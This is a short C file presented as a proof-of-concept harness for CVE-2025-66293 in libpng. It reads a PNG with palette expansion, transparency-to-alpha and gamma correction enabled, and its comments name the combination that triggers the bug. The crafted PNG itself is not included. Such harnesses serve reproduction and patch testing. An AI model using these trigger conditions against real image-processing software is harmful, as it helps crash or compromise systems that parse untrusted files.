// CVE-2025-66293 PoC - Malicious PNG trigger
// Requirements: A specially crafted PNG with palette, partial transparency, and gamma correction
#include <stdio.h>
#include <stdlib.h>
#include <png.h>
void process_png(const char *filename) {
FILE *fp = fopen(filename, "rb");
if (!fp) return;
png_structp png = png_create_read_struct(PNG_LIBPNG_VER_STRING, NULL, NULL, NULL);
png_infop info = png_create_info_struct(png);
if (setjmp(png_jmpbuf(png))) {
printf("Error reading PNG\n");
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
return;
}
png_init_io(png, fp);
png_read_info(png, info);
// Trigger vulnerability: palette + transparency + gamma
int width = png_get_image_width(png, info);
int height = png_get_image_height(png, info);
png_byte color_type = png_get_color_type(png, info);
png_byte bit_depth = png_get_bit_depth(png, info);
// Convert to RGBA if palette type
if (color_type == PNG_COLOR_TYPE_PALETTE) {
png_set_palette_to_rgb(png);
}
// Enable transparency handling
if (png_get_valid(png, info, PNG_INFO_tRNS)) {
png_set_tRNS_to_alpha(png);
}
// Enable gamma correction - THIS TRIGGERS THE BUG
double gamma;
if (png_get_gAMA(png, info, &gamma)) {
png_set_gamma(png, 2.2, gamma);
}
png_read_update_info(png, info);
// Allocate and read rows
png_bytep *row_pointers = (png_bytep*)malloc(sizeof(png_bytep) * height);
for (int y = 0; y < height; y++) {
row_pointers[y] = (png_byte*)malloc(png_get_rowbytes(png, info));
}
png_read_image(png, row_pointers);
// Cleanup
for (int y = 0; y < height; y++) {
free(row_pointers[y]);
}
free(row_pointers);
png_destroy_read_struct(&png, &info, NULL);
fclose(fp);
}
int main(int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s <png_file>\n", argv[0]);
return 1;
}
process_png(argv[1]);
return 0;
}